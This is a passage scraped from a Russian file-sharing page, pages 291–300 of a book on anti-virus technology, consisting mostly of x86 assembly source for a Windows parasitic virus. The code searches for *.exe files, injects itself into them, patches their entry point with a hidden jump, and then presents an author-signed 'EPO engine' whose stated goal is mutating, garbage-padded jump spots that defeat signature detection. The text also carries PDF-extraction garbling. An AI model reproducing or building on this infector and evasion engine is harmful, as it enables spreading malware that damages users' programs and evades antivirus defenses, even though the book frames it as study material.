Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

 

291

 

 

 

 

 

 

 

; потоковых данных

lea

esi,[ebp + start]

; копируем вирус

mov

ecx,(finish-start)/4 + 4

 

cld

 

 

 

rep

movsd

 

 

UpdatePEHeaderWithChanges:

 

mov

esi,dword ptr [ebp + offset mapaddress]

mov

word ptr [esi + 38h],’nf’

; Устанавливаем метку

mov

esi,dword ptr [ebp + offset PEheader]

; инфицированности

mov

eax,[ebp + offset imagesize]

;

mov

[esi + 50h],eax

; Устанавливаем новый

 

 

 

; виртуальный размер

UnmapView:

 

 

 

push

dword ptr [ebp + offset mapaddress]

;

lea

eax,[ebp + UnmapViewOfFile]

; Заканчиваем изменение файла

call

GETAPI

; в памяти и кладем его обратно

CloseMap:

 

 

 

push

dword ptr [ebp + offset mHnd]

;

lea

eax,[ebp + CloseHandle]

; Закрываем хэндл

call

GETAPI

;

push

0

 

 

push

0

 

 

push

dword ptr [ebp + offset filesize]

;

push

dword ptr [ebp + offset fHnd]

; Переходим в конец файла

lea

eax,[ebp + offset SetFilePointer]

;

call

GETAPI

 

push

dword ptr [ebp + offset fHnd]

;

lea

eax,[ebp + offset SetEndOfFile]

; Устанавливаем символ конца

call

GETAPI

; файла

;----------------------------------------------

 

 

 

CloseFile:

 

 

 

push

dword ptr [ebp + offset fHnd]

;

lea

eax,[ebp + offset CloseHandle]

; Закрываем файл

call

GETAPI

;

InfectionError:

 

 

 

ret

 

 

; Выходим из процедуры

;----------------------------------------------

 

 

 

Fnext:

 

 

 

lea

eax,[ebp+offset find_file]

;

 

push

eax

;

push

dword ptr[ebp+Fhandle]

; Процедура поиска следующего

lea

eax,[ebp+offset+FindNextFileA]

; файла

call

GETAPI

;

ret ;----------------------------------------------

292

 

Windows вирусы

 

 

 

Getproc:

 

 

next_block:

 

 

cmp

word ptr [ebx],’ZM’

; Начало?

je

found_MZ

; ÄÀ!

sub

ebx,1000h

; Ищем дальше

jmp

next_block

 

found_MZ:

 

 

mov

edx,ebx

; сохраним указатель

mov

edi,dword ptr [ebx+3Ch]

; адрес PE заголовка

add

edi,edx

; +адрес kernel’a

cmp

word ptr [edi],’EP’

; проверка на PE

jne

Exit

; не равно - выходим

mov

4 ptr [ebp+KernelAddr],edx

; сохраним базовый адрес

 

 

; kernel’a

add

ebx,[edi+78h]

; Получим адрес таблицы

 

 

; экспортов

mov

ecx,[ebx+18h]

; Количество указателей

mov

esi,[ebx+20h]

; Указатель на таблицу

 

 

; указателей имен

mov

edi,[ebx+24h]

; Указатель на таблицу

 

 

; ординалов

add

esi,edx

; адр. таблицы имен в памяти

add

edi,edx

; адр. таблицы ординалов

 

 

; в памяти

cld

 

; поиск вперед

Search:

 

; Ищем функцию GetProcAddress

lodsd

 

; берем указатель из таблицы

 

 

; указателей

add

eax,edx

; получаем адрес памяти

push

ecx

; сохраним кол-во указателей

push

edi

; сохраним указатель на

 

 

; ординалы

xchg

esi,eax

; в esi указатель на имя

 

 

; найденной ф-ции

lea

edi,[ebp+GetProcAddress]

; Указываем на имя нужной

 

 

; нам фунции

mov

ecx,GetProcSize

; Размер строки

repe

cmpsb

; сравниваем

xchg

esi,eax

; восстановим значение esi

pop

edi

; восстановим указатель

 

 

; на ординалы

pop

ecx

; восстановим кол-во

 

 

; указателей

je

Found

; нашли!

inc

edi

; нет - пробуем следующую

 

 

; ô-öèþ

inc

edi

; указатель на следующий

 

 

; ординал

loop

Search

 

jmp

Exit

 

Windows вирусы

 

293

 

 

 

 

Found:

 

 

 

xor

eax,eax

 

 

mov

ax,word ptr [edi]

; возьмем ординал

shl

eax,2

; умножим на размер ординала

mov

esi,[ebx+1Ch]

; указатель на таблицу адресов

add

esi,edx

; получим адрес начала

 

 

; таблицы адресов

add

esi,eax

; и адрес нужной ф-ции

lodsd

 

; прочитаем

add

eax,edx

; добавим адрес kernel’a

mov

4 ptr [ebp+GetProcAddr],eax

; сохраним

Exit:

 

 

 

ret

 

 

 

;----------------------------------------------

 

 

GETAPI:

 

 

 

push

eax

; Помещаем в стэк имя функции

push

dword ptr [ebp+ offset KernelAddr]

; Помещаем в стэк адрес kernel’a

call

[ebp + offset GetProcAddr]

; Получаем адрес необходимой

 

 

; нам Функции

jmp

eax

; Вызываем функцию

ret

 

; Возврат из функции

;----------------------------------------------

 

 

epo:

 

 

 

pusha

 

; Сохранение всех регистров

mov

esi,[ebp+mapaddress]

; Кладем в esi адрес файла

 

 

; в памяти

call

find_code

; Ищем начало кода этом файле

call

lichina

; Помещаем туда переход на

 

 

; вирус

 

popa

 

; Восстанавливаем регистры

ret

 

; Выходим из подпрограммы

;----------------------------------------------

 

 

find_code:

 

 

 

add

esi,dword ptr [esi+3ch]

; Теперь esi указывает на PE

mov

edi,esi

;

 

mov

ebx,[esi + 74h]

;

 

shl

ebx,3

; Получаем

xor

eax,eax

 

 

mov

ax,word ptr [esi + 6h]

; Количество объектов

find2:

 

 

 

mov

esi,edi

 

 

dec

eax

 

 

push

eax

 

 

mov

ecx,28h

; заголовок секции

mul

ecx

; * размер заголовка

add

esi,78h

; теперь esi указывает на

add

esi,ebx

; начало последнего заголовка

add

esi,eax

; секции

 

294

 

Windows вирусы

 

 

 

mov

eax,[ebp+oldip]

; В eax кладем точку входа

mov

edx,dword ptr[esi+0ch]

; В edx адрес куда будет

 

 

; мапиться

 

 

; текущая секция

cmp

edx,eax

; Проверяем

pop

eax

; Извлекаем из стэка eax

jg

find2

; Если больше ищем дальше

add

edx,dword ptr[esi+08h]

; Добавляем виртуальный размер

 

 

; секции

cmp

edx,[ebp+oldip]

; Проверяем

jl

find2

; Если меньше ищем дальше

mov

edx,dword ptr[esi+0ch]

; Далее вычисляем физическое

mov

eax,[ebp+oldip]

; смещение кода в файле

sub

eax,edx

;

add

eax,dword ptr[esi+14h]

;

add

eax,[ebp+mapaddress]

; И потом добавляем базу

 

 

; памяти

mov

[ebp+start_code],eax

; Сохраняем начало кода

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

 

 

; Меняем аттрибуты

 

 

; кодовой секции

ret

 

; Возврат из процедуры

;----------------------------------------------

 

lichina:

 

 

mov

esi,dword ptr [ebp+start_code]; Сохраняем

lea

edi,[ebp+s_bytes]

; оригинальные пять

mov

ecx,5

; байтов

rep

movsb

;

sub

esi,5

;

mov

al,0e8h

;

xchg

edi,esi

; Записываем на их место

stosb

 

; свои пять байтов

mov

eax,[ebp+newip]

;

sub

eax,[ebp+oldip]

;

sub

eax,5

;

stosd

 

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

restore:

 

 

sub

eax,5

; Восстанавливаем

mov

edi,eax

; оригинальные пять

lea

esi,[ebp+s_bytes]

; байтов

mov

ecx,5

;

rep

movsb

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

Windows вирусы

 

 

295

 

 

 

 

mask1

db

‘*.exe’,0

; Маска для поиска

start_code

dd

0

 

s_bytes

db

5 dup(0)

 

KernelAddr

dd

0

 

GetProcAddr

dd

0

 

GetProcAddress

db

‘GetProcAddress’,0

 

GetProcSize

equ

$-GetProcAddress

 

FindFirstFileA

db "FindFirstFileA",0

 

CreateFileA

db "CreateFileA",0

 

CreateFileMappingA db

"CreateFileMappingA",0

 

MapViewOfFile

db

"MapViewOfFile",0

 

UnmapViewOfFile

db

"UnmapViewOfFile",0

 

CloseHandle

db

"CloseHandle",0

 

SetFilePointer

db

"SetFilePointer",0

 

SetEndOfFile

db

"SetEndOfFile",0

 

FindNextFileA

db

"FindNextFileA",0

 

FindClose

db

"FindClose",0

 

oldip

dd

offset Exit1

 

 

 

 

;

imagebase

dd

0h

;

finish:

 

 

 

find_file

db

313 dup(?)

; Тут идут данные, которые в

size2read

dd

0h

; тело вируса не входят

fHnd

dd

0h

;

mHnd

dd

0h

;

memory

dd

0h

;

mapaddress

dd

0h

;

PEheader

dd

0h

 

filesize

dd

0h

 

imagesize

dd

0h

 

newip

dd

0h

 

Fhandle

dd

0h

 

;———————————————————————————

.code

Exit1:

nop

;———————————————————————————-

end start

;———————————————————————————-

Как вы могли увидеть, мы лишь слегка модифицировали наш простой windows-паразит, теперь мы можем с гордостью заявить, что он использует примитивный вариант неизлечимости. А если быть более конкретным, то он использует EPO(Entry Point Obscuring) технику.

Для лечения данного вируса используется тот же алгоритм, что и при лече- нии *.com программ под ДОС.

296

Windows вирусы

 

 

Теперь, когда мы разобрались с простым вариантом данной техники, мы готовы перейти к более сложному.

Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять.

Начнем пострение нашего мотора с того, что определимся с тем, чего нам необходимо достичь:

1)чтобы наши инструкции не обнаруживались по маске (мутация);

2)чтобы наши инструкции не сразу передавали управление вирусу или защите от взлома программы (маскировка);

3)чтобы управление в конце концов получил наш код.

Теперь попытаемся определиться, как наш мотор должен работать:

1)в начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счет разбавления одной значащей инструкции сложным разнообразным «мусором»;

2)первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.

Рассмотрим на примере устройство i-го пятна:

;----------------------------------------------

...................

mov

eax,7385673

add

ebx,9874

cmp

ecx,edx

mov

edx,7234

je

$+2

jmp

to_i_plus1_spot

add

eax,456678

...................

;----------------------------------------------

Каждое из пятен сильно мутирующее, то есть по маске его детектировать невозможно. Количество пятен случайно и расстояние между пятнами тоже случайно.

Все байты, которые перетираются пятнами, сохраняются в теле вируса. Для работы мотора необходимы следующие модули:

1)генератор случайных чисел (r_gen32.asm);

2)генератор исполняемого «мусора» (t_gen32.asm).

Данные модули приводились в главе посвященной полиморфизму. Теперь мы готовы перейти к листингу нашего мотора:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

 

[SIMPLE EPO TECHNIQUE ENGINE

V. 0.1]

;

;

 

 

 

 

 

 

;

;

###########

###########

############

##############

;

;

#############

#############

##############

##############

;

;

##

###

##

###

###

###

;

;

############

#############

###

###

###

;

;

############

############

###

###

###

;

;

###

###

 

###

###

###

;

;

#############

###

 

##############

###

;

;

###########

###

 

############

###

;

Windows вирусы

 

297

 

 

 

;

 

;

;

FOR MS WINDOWS

;

;

 

;

;

BY SL0N

;

;——————————————————————————————————————— ------------------------------------;

;

MANUAL:

;

; ADDRESS OF MAPPED FILE

-> EDX

;

;

 

;

; CALL EPO

 

;

;——————————————————————————————————————— ------------------------------------;

;

MANUAL FOR RESTORE:

;

; CALL RESTORE

 

;

;

 

;

; ENTRY POINT

-> EBX

;

;——————————————————————————————————————— ------------------------------------;

; (+) DO NOT USE WIN API

 

;

; (+) EASY TO USE

 

;

; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)

;

; (+) USE X87 INSTRUCTIONS

 

;

; (+) RANDOM NUMBER OF SPOTS

;

; (+) MUTABLE SPOTS

 

;

; (+) RANDOM LENGTH OF JUMP

;

;——————————————————————————————————————— ------------------------------------

;

epo:

 

 

 

push

esi edi

; Сохраняем в стэке esi

 

 

; è edi

 

mov

[ebp+map_address],edx

; Сохраняем адрес файла в

 

 

; памяти

 

call

get_head

; Получаем

PE заголовок

 

 

;

 

call

search_eip

; Вычисляем новую точку

 

 

; входа

 

call

find_code

; Ищем начало кода в этом

 

 

; файле

 

call

spots

; Помещаем туда переход

 

 

; на вирус

 

pop

edi esi

; Восстанавливаем из стэка

 

 

; edi è esi

 

ret

 

; Выходим из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

PE HEADER SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

FILE IN MEMORY -> EDX

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

298

 

 

Windows вирусы

 

 

 

 

get_head:

 

 

 

 

 

; Подпрограмма получения

 

 

; PE заголовка

 

pusha

 

; Сохраняем все в стэке

mov

ebx,[edx + 3ch]

;

 

add

ebx,edx

;

 

 

 

;

 

mov

[ebp + PE_header],ebx

; сохраняем PE заголовок

mov

esi,ebx

;

 

mov

edi,esi

;

 

mov

ebx,[esi + 28h]

;

 

mov

[ebp + old_eip],ebx

; Сохраняем старую точку

 

 

; входа (eip)

 

mov

ebx,[esi + 34h]

;

 

mov

[ebp + image_base],ebx

; Сохраняем

 

 

 

; виртуальный адрес

 

 

; начала программы

 

popa

 

; Вынимаем все из стэка

ret

 

; Выходим из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

NEW ENTRY POINT SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

search_eip:

 

 

 

 

 

; Подпрограмма вычисления

 

 

; новой точки входа

pusha

 

; Сохраняем все в стэке

mov

esi,[ebp+PE_header]

; Кладем в esi указатель

 

 

; На PE заголовок

 

mov

ebx,[esi + 74h]

;

 

shl

ebx,3

;

 

xor

eax,eax

;

 

mov

ax,word ptr [esi + 6h]

; Количество объектов

dec

eax

; (нам нужен последний-1

mov

ecx,28h

; заголовок секции)

mul

ecx

; * размер заголовка

add

esi,78h

; теперь esi указывает

add

esi,ebx

; на начало последнего

add

esi,eax

; заголовка секции

 

mov

eax,[esi+0ch]

;

 

add

eax,[esi+10h]

; Сохраняем новую точку

mov

[ebp+new_eip],eax

; входа

 

popa

 

; Вынимаем все из стэка

ret

 

; Выходим из подпрограммы

Windows вирусы

 

299

 

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

FIND START OF CODE SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

;

;

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

;

;

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

find_code:

 

 

 

 

; Подпрограмма поиска начала

 

 

; êîäà

mov

esi,[ebp+PE_header]

; Кладем в esi указатель

 

 

; На PE заголовок

mov

ebx,[esi + 74h]

;

shl

ebx,3

; Получаем

xor

eax,eax

;

mov

ax,word ptr [esi + 6h]

; Количество объектов

find2:

 

 

mov

esi,edi

;

dec

eax

;

push

eax

; (нам нужен последний-1

mov

ecx,28h

; заголовок секции)

mul

ecx

; * размер заголовка

add

esi,78h

; теперь esi указывает на

add

esi,ebx

; начало последнего

 

 

; заголовка

add

esi,eax

; секции

mov

eax,[ebp+old_eip]

; В eax помещаем точку входа

mov

edx,[esi+0ch]

; В edx адрес куда будет

 

 

; мапиться

 

 

; текущая секция

cmp

edx,eax

; Проверяем

pop

eax

; Вынимаем из стэка eax

jg

find2

; Если больше ищем дальше

add

edx,[esi+08h]

; Добавляем виртуальный

 

 

; размер секци

cmp

edx,[ebp+old_eip]

; Проверяем

jl

find2

; Если меньше ищем дальше

mov

edx,[esi+0ch]

; Далее вычисляем

 

 

; физическое

mov

eax,[ebp+old_eip]

; смещение кода в файле

sub

eax,edx

;

add

eax,[esi+14h]

;

add

eax,[ebp+map_address]

; И потом добавляем базу

 

 

; памяти

mov

[ebp+start_code],eax

; Сохраняем начало кода

or

[esi + 24h],00000020h or 20000000h or 80000000h

 

 

; Меняем аттрибуты

 

 

; кодовой секции

300

 

Windows вирусы

 

 

 

mov

eax,[esi+08]

; Вычисляем размер

sub

eax,[ebp+old_eip]

; той части кодовой секции,

mov

edx,[esi+10h]

; где можно размещать

sub

edx,eax

; пятна

mov [ebp+size_for_spot],edx

;

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN

SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT

]

;

;

 

 

;

;

NO OUTPUT IN

SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

spots:

 

 

 

 

 

; Подпрограмма генерации

 

 

; пятен

 

mov

ecx,1

; Кладем в ecx единицу

 

 

;

 

call

reset

; Подготавливаем данные

call

num_spots

; Генерируем случайное число

 

 

; это будет кол-во пятен

tred:

 

 

 

call

save_bytes

; Сохраняем затираемые байты

call

gen_spot

; Генерируем пятно

 

inc

ecx

; Увеличиваем ecx на единицу

cmp

ecx,[ebp+n_spots]

; Все пятна сгенерированы

jne

tred

; Если нет, то генерируем

call

save_bytes

; Сохраняем последние байты

call

gen_final_spot

; И генерируем последнее

 

 

; пятно

 

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

SPOT GENERATION SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

gen_spot:

 

 

 

 

 

; Подпрограмма генерации

 

 

; одного пятна

 

push

eax ecx

; Сохраняем eax и ecx

call

len_sp_jmp

; Получаем случайную длину

xchg

eax,ebx

; прыжка пятна

 

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]